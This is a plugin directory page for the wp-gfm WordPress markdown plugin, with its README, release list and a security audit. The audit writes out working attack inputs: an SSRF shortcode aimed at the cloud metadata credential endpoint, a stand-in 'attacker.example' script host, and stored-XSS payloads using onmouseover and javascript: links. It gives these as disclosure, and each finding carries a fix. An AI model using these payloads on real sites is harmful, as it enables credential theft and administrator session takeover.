WP Manifestindependent plugin directory
manifest / content / wp-gfm

GitHub Flavored Markdown for WordPress WP Registry grade D+. High-severity findings · 3 findingsWP RegistryHigh-severity findings · 3 findingsOpen the reportD+

WordPress Plugin for PHP-Markdown and GitHub Flavored Markdown

★ 115stars
v0.11latest · 7 years ago

Install

Download source zip No release zip yet

This is the repository archive. It installs, but the folder name will carry the branch suffix and updates will not flow.

Install straight from GitHub with WP-CLI:

wp plugin install https://github.com/makotokw/wp-gfm/archive/refs/heads/master.zip
Updates itself. It ships its own updater, so new versions appear under Dashboard → Updates.

wp-gfm is the WordPress plugin that convert from GitHub Flavored Markdown by using the PHP-Markdown or GitHub Render API.

Dependencies

How to work

The plugin has two conversions.

[markdown] as shortcode for PHP-Markdown, convert by using \Michelf\Markdown class inside WordPress.

[gfm] as shortcode for GitHub Flavored Markdown, convert by using the Render API outside WordPress. Default Render API is GitHub Render API, limits requests to 60 per hour for unauthenticated requests. Alternatives Render API that works on heroku is here: https://github.com/makotokw/ruby-markdown-render-api

Installation

Download from https://github.com/makotokw/wp-gfm/releases and upload to /path/to/wp-content/plugins/wp-gfm

This conversion depends on PHP Markdown Lib 1.7.0.

Usage

Use [markdown][/markdown] as shortcode on entry.

Example:

[markdown]
| First Header  | Second Header |
| ------------- | ------------- |
| Content Cell  | Content Cell  |
| Content Cell  | Content Cell  |
[/markdown]

Fenced code blocks

Example:

[markdown]
```ruby
require 'redcarpet'
markdown = Redcarpet.new("Hello World!")
puts markdown.to_html
```
[/markdown]

Table of content

left aligned toc.

[TOC]

right aligned toc.

[>TOC]

Example:

[markdown]
# headLineOne

## something

[TOC]

## something more
[/markdown]

Embed content

Supported embed markdown file by [embed_markdown] shortcode.

[embed_markdown url="https://raw.githubusercontent.com/makotokw/wp-gfm/master/README.md"]

Option

Admin > Settings > WP GFM

  • AutoLink (default: no)
  • Code block template
  • (default: <pre class="prettyprint lang-{{lang}}" title="{{title}}">{{codeblock}}</pre> )
<pre class="prettyprint lang-ruby">require 'redcarpet'
markdown = Redcarpet.new("Hello World!")
puts markdown.to_html
</pre>

You can use google-code-prettify if you want to allow syntax highlighting.

GitHub Render API

This way is not good. If there are 5 shortcodes in page, the plugin require 5 HTTP requests.

Setup

  • Open WP GFM Settings and set Render URL

Usage

Use [gfm][/gfm] as shortcode on entry.

[gfm]
```ruby
require 'redcarpet'
markdown = Redcarpet.new("Hello World!")
puts markdown.to_html
```
[/gfm]

Result

Result

Development

npm install
grunt debug

LICENSE

The MIT License

Current Version

The line below is used for the updater API, please leave it untouched unless bumping the version up :)

~Current Version:0.11~

Releases

4 releases.

Tag
Published
v0.11 latest
Aug 17, 2019 7 years ago
Aug 17, 2019 7 years ago
Dec 26, 2016 9 years ago
Apr 30, 2016 10 years ago

These releases are tags only. The author does not attach a packaged zip, so there are no download counts to report.

D+ grade

Security

GitHub Flavored Markdown for WordPress 0.9 · audited by WP Registry

High-severity findings.

2 high 1 low
Audited release
0.9
Findings
3
Worst severity
high
Content hash
63d8d0e33eb46642f37f4fa3…

Findings

  • high Contributor+ SSRF and stored XSS via embed_markdown shortcode

    ssrf

    php_markdown_init() registers add_shortcode('embed_markdown') with no capability check. shortcode_embed() extract()s the url attribute, then calls wp_remote_get($url) (not wp_safe_remote_get — no loopback/private-IP block) with an empty $args array. On any non-WP_Error response it wp_remote_retrieve_body()s the payload, runs Extra::defaultTransform() (no_markup defaults false, so raw HTML including <script> is hashed through and emitted) or convert_html_by_render_url(), and concatenates the unsanitized $url into <div class="markdown-meta">. Core content_save_pre kses does not see the remote HTML; it only sees the shortcode. Contributor (edit_posts) can save [embed_markdown url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"] or url="http://attacker.example/xss.md" and preview their own draft — every the_content/do_shortcode (priority 11, after this plugin's priority-7 regex) performs the fetch with no cache. Observable: internal/cloud-metadata bodies appear in the public HTML; attacker-controlled <script> from the fetched file executes in the site origin for anyone who views the post, including an administrator previewing a pending post. 4xx/5xx from the remote host still succeed because only is_wp_error() is checked. Unauthenticated comments do not run this shortcode (only the [markdown]/[gfm] regex in pre_comment_content).

    markdown.php:248-285

    Recommendation

    Replace wp_remote_get with wp_safe_remote_get, allowlist https hosts (e.g. raw.githubusercontent.com), reject loopback/link-local/RFC1918/169.254.169.254, and require current_user_can('unfiltered_html') or a dedicated capability before embedding. Pass the fetched body through wp_kses_post() after markdown (or enable Extra::$no_markup and a url_filter_func that uses esc_url with a javascript:/data: reject list). Escape $url with esc_url() / esc_html() before echoing. Cache the remote body; do not fetch on every page view.

  • high Contributor+ stored XSS via [markdown] conversion after kses

    xss_stored

    the_content (priority 7) preg_replace_callback-s [markdown]...[/markdown] through wp_markdown() → Extra::defaultTransform() and echoes the HTML with no wp_kses_post. That is after content_save_pre kses, so tag-free markdown becomes live HTML for every viewer. Two plugin-owned sinks: (1) Gfm\Markdown\Extra::_doFencedCodeBlocks_callback explodes the fence info-string on ':' and applyCodeBlockTemplate() str_replace-s {{lang}} and {{title}} into the default <pre class="prettyprint lang-{{lang}}" title="{{title}}"> template with no htmlspecialchars/esc_attr. Payload [markdown]\n```js:" onmouseover="alert(document.domain)\ncode\n```\n[/markdown] stores as plain text (kses sees no tags) and renders <pre class="prettyprint lang-js" title="" onmouseover="alert(document.domain)">. (2) Michelf\Markdown::encodeURLAttribute() (used because the wrapper never sets url_filter_func) only HTML-encodes the href; [Click](javascript:alert(document.domain)) becomes <a href="javascript:alert(document.domain)">. force_convert() (php_md_always_convert option) applies the same transform to the entire post. Comments are converted at pre_comment_content priority 5 then wp_filter_kses at 10, so unauthenticated comment XSS is not this bug. Author can publish immediately; Contributor XSS fires when an administrator previews or publishes the pending post (admin-session takeover) or after publish (all visitors).

    src/Gfm/Markdown/Extra.php:259-332

    Recommendation

    Escape $lang and $title with esc_attr() (or htmlspecialchars ENT_QUOTES) before substituting into the template. Set Extra no_markup / a url_filter_func that returns esc_url() (strips javascript: and data:). After defaultTransform(), run wp_kses_post() before returning from shortcode_markdown/the_content. Replace create_function() with a real callback (fatal on PHP 8). Do not convert comments unless the post-kses HTML is re-sanitized (already true today) and keep conversion off for roles without unfiltered_html unless output is kses'd.

  • low Unmaintained plugin: last commit 2018, PHP 8-fatal create_function, updater tracks master.zip

    unmaintained

    Upstream makotokw/wp-gfm last committed 2018-11-12 (tag v0.11). the_content() still uses create_function() (removed in PHP 8.0), so on current WordPress runtimes the [markdown]/[gfm] path fatals. WP_GitHub_Updater is initialized with tested => '4.3.1' and zip_url https://github.com/makotokw/wp-gfm/archive/master.zip (floating master, not the v0.11 tag). Header Version is 0.9, WP_GFM::VERSION is 0.10, README ~Current Version:0.11~. Combined with the Contributor+ SSRF/XSS above, there is no maintained patch channel other than whoever can push to that GitHub repo.

    markdown.php:301-302

    Recommendation

    Do not run this plugin on production. Replace with a maintained markdown plugin, or fork and: drop create_function, pin the updater to a tag, kses markdown output, and switch embed fetches to wp_safe_remote_get with a host allowlist.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.